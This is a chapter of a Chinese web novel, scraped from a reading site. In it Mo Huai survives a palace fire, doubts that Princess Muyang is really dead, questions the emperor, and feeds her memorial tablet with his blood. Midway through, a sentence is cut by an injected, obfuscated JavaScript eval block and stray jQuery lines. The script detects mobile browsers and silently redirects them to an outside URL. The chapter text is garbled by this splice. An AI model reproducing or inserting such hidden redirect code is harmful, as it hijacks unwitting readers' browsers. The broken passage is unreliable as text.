默认冷灰
24号文字
方正启体

57. 第五十七章

作者:白汐汐本书字数:K更新时间:
    墨淮没有晕过去多久,几乎是御医将针刚扎入他天穴,他就提着微弱的呼吸醒了过来。


    “让开!”他双眼猩红,也没来得及看清眼前是谁,一把推开,摇摇晃晃地爬起来就要往殿外走。


    “大人,您的情况不容乐观,还请静养啊!”御医被他推了个踉跄,在身后苦劝:“陛下已为您去请神医,外面也有温将军领兵,还望大人爱惜自己,莫要再透支身体了!”


    可他仿若未闻,甚至走得更快了。


    事实上若非身受苦痛,他恨不得即刻就迈步奔离。


    殿内一众锦衣卫没人敢拦,便都只能跟在他身后。


    长乐宫乃太后寝宫,先前麟德殿生叛乱之时,就将所有的宗亲女眷全都安置在了这里。


    此刻院中侍女侍从急来急往,每个人都灰头土脸地提着一桶水灭火。


    温平羽和唐琼英皆站在殿外,脸色很不好看。


    墨淮看着漫天的火势,一颗心几乎要从喉咙里跳出来:“她呢!”


    见二人沉默着均未说话,他眼皮狂跳,转身就要往里冲。


    唐琼英眼疾手快一把拉住了他:“里面还活着的都救出来了,再没有活物。”


    他这才稍稍冷静了几分,回头问:“沐阳在哪里?”


    唐琼英眼神闪躲了几下,似乎是不知道该怎么开口。


    一旁的温平羽却是慢慢打开手心,眼眸灰寂:“她死了。”


    闻言,墨淮瞳孔骤缩,像是被人用铁锥瞬间狠狠捅进心里,疼得难以呼吸。


    他看向温平羽摊开的手心,里面是当时还在城郊农户家里时,他为乔装送她的一根低质银簪,今日,她竟是戴着它来赴的宴。


    他为什么没有注意到?


    他在做什么?


    是了,他在故作冷淡,发誓要将她推得远远的,最好因此爱及生恨,体会了心如死灰的感受后将他牢牢记住一辈子。


    因火烧,簪子已经有些变形,上头沾满了一时难以抹去的灰屑,瞧着孤单又可怜。


    几息后,他将其一把夺过,头也不回地闯进了火海。


    唐琼英急得眼冒金星,片刻后咬咬牙,披着一床浸满了水的被褥也随之跟了进去。


    温平羽冷冷地瞧着,没有阻拦。


    不知过了多久,火势渐渐小了下去,齐怀这时小步跑来,满头的大汗:“温将军,神医已到,陛下要人呢。”


    他抬了抬下巴:“里面。”


    齐怀浑身一惊,苦愁着脸正要控诉,就见唐琼英远远地扶着墨淮从侧门而出。


    他忙奔迎上去,听见他语气极其虚弱,又阴狠地有些吓人:“我要见陛下。”


    说罢便一头栽倒,唐琼英陪着他火海里闯了一回也脱力得厉害,拉都拉不住。


    再醒来的时候,墨淮喉咙干裂火辣,眼皮也沉沉地掀不开,后颅就像是被人注入了什么毒素一般牵引地他四肢失去控制,浑身的骨头和肌肉也都渗着疼。


    他容自己清醒了一会儿,随即便忍着浑身钝碎的剧痛下了床:“来人!”


    “不好好养伤,要去哪里?”皇帝背着手慢悠悠走了进来,站在床边道:“听齐怀说你要见朕?有事?”


    他捏着那根银簪,任由它刺破自己的手心,表情却尽量放得很平静,丝毫不似还在火场时宛若发狂一般的模样:“回陛下,臣想问,纵火之人是否已经下狱?”


    “死了。”皇帝没什么多余的表情:“是长乐宫里潜伏的几个叛贼,抓到后已经就地格杀。”


    他沉默了。


    良久,点了点头:“谢陛下。”


    见他如此,皇帝虚虚眯了眯眼:“没有别的要问?”


    手心的血“滴答”一声落在地上,他们同时投去目光。


    墨淮眼睫颤了颤,道:“没有,但臣有一个请求。”


    “说。”


    “还望陛下,允臣不公开葬礼。”他站的笔直,又像是时刻会散去力气,声音很淡:“就将她的牌位供在府中,等臣真正身死,再置入身灰同棺下葬。”


    “又无尸身,一捧轻飘飘的灰而已,不会有什么妨碍的。”


    他本来觉得自己活不久了,索性陪她一起去。


    可到了长乐宫偏殿,火最开始烧起的地方时,他又突兀地起了疑心。


    整个宫内一百多人,为什么这火偏偏只吞噬了她?


    再加上陛下如今这不咸不淡的态度,他便对此愈发怀疑。


    没关系。


    陛下不说,他去查就是了。


    皇帝自诩见惯了人心鬼情,可如今听着他这番话,背后也不免起了一层薄薄的鸡皮疙瘩。


    不过想着这件事的原委,他的确破例想答应。


    沐阳本就还在外打马逍遥,若真让一个女囚的尸灰占了她的名头,以郡主的最高礼入葬,难免晦气。


    他从小看着长大的孩子们他了解,无论如何,沐阳终究都还是要回来的。


    此时留个退路,倒也未尝不可。


    可该做的表面功夫还得做足,于是皇帝渐渐冷下脸,嗤训道:“墨君言,你真是好大的胆子。”


    “朕念你为国有功,不计你此次不敬,若再敢提,朕打断你的腿!”


    看着皇帝甩袖而去的背影,墨淮连一丝波动都没有。


    方才那番警骂没什么好在意的,陛下在诓他。


    旁人或许恐于帝威不敢琢磨,他却看得分明。


    陛下眼中,半点悲伤也瞧不出。


    要么,泱泱没有死,陛下知情;


    要么,陛下根本就不在意她的死活。


    鉴于对陛下的了解,又或者是出自心底里难以抑制的希冀,他选择相信前者。


    最初的锥心之痛渐渐麻木过后,他的理智拢回,轻轻将银簪擦拭干净,用它随手将长发冠起。


    “大人,该入药了。”见皇帝已走,瞿弱明才进来禀告。


    墨淮转动着眼瞳,望向他:“哪来的方子?”


    瞿弱明不敢多看这道平静到阴寒的目光,回答道:“正是多年前为您配药制香的巫医所写,我们本来未曾得到他的消息,是陛下暗中派人搜寻多年,才于前些时日请回京城。”


    是吗,真巧。


    他静了半晌,接过喝了下去。


    看着黑乎乎的漂着药渣,倒是没什么味道。


    身体各处的蛰痛感慢慢淡下,墨淮才发现外面艳阳高照,可映不进这间屋子。


    这里是锦衣卫指挥使


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236377|194543||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    府,四处都是冷冰冰的,没什么人情味儿。


    他走出门,抬头盯了上方光芒万丈的太阳很久很久。


    *


    沐阳郡主身死的消息被封得很严密,外面没有人知道。


    但当朝次辅墨淮身兼文武双职,竟与锦衣卫指挥使玄泽是同一人的消息不到半天就传遍了整个朝堂。


    他没有什么异样,日日照常上朝下朝,再去镇抚司处理案子。


    只是从前与之巴结的同僚都骤然远离,谁也不敢再接近。


    他身上血腥味很重,即便如今依旧把自己套在人模人样的壳子里,也难以掩盖比从前更甚的戾气。


    不过半月,前东宫和司马疏叛乱之事就处理得再无声息。


    那些当初遗漏的小虾米,无一幸免,全都在乱葬岗做了孤魂野鬼。


    墨淮看着眼前的巫医,他苍老了很多,眼神却更加矍铄。


    “我手里有副古方或可暂救你免去灾妄,至多五年。”


    他听出来巫医后面还有话,但对方没再接着说。


    他也不在乎。


    五年时日折半来算最少也有两年,倒是足够得很。


    于是他随意点点头,另问道:“我记得巫医是祈檀部人?”


    “多年前的事了,祈檀部早已不在,老朽如今只是一方游医,势单力薄,没什么用。”


    巫医话里的警惕和抗拒很明显,他听罢,刻意将语气放的很温和:“是我唐突,但问这句话没有别的意思,只是想知道,那以血养魂的说法,是否为真?”


    天下广袤无垠,不知孕育过多少奇瑰的文明,祈檀部落虽早就被灭,但其部本就以巫术和巫医传扬,否则如何能存续上百年。


    而他所问的这养魂之说,正是从一本撰自祈檀部的禁书上得来。


    用至亲之血饲喂灵牌,可养魂,招冥。


    他问的很认真,甚至可以称得上虔诚。


    巫医打量他了许久,才慢条斯理去收拾着自己的灸针:“世人总爱夸大其词,指挥使大人还是不要信了,且你的身体早已破败,用此法,恐无缘真命。”


    “老朽劝你好好养伤,或许有一日,能得圆满也说不准。”


    巫医走得很干脆,似乎不想再与他多有牵扯。


    墨淮微微歪起头,思索了半天,最后从怀里拿出那个香囊,拆开。


    里面是半截断发,绑着一张字条。


    字迹虽小,弯钩撇折却都透着利落,极为赏心悦目。


    他一笔一划地读去,感觉每一个字都像最锋利的刀刃血淋淋划过心脏。


    是她亲手写的生辰八字。


    没了父王母妃,她自己,违逆常纲全了这俗礼,日日夜夜贴身在他心口处,他却一无所知。


    墨淮垂下眼眸,毫无犹豫地削下一簇发尾,仔仔细细与她的绑在了一起。


    又写了自己的八字,混着腕间血烧尽在她灵位前。


    他那日闯入火海,其实揽回了一些灰烬,但他不想用,只是装起来放在了一个很隐秘的地方。


    他不觉得她就这样死掉了。


    可该做的还是要做。


    于是他一丝不苟地将血浸入灵牌,想在梦里,哪怕只是在梦里,见她一面。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)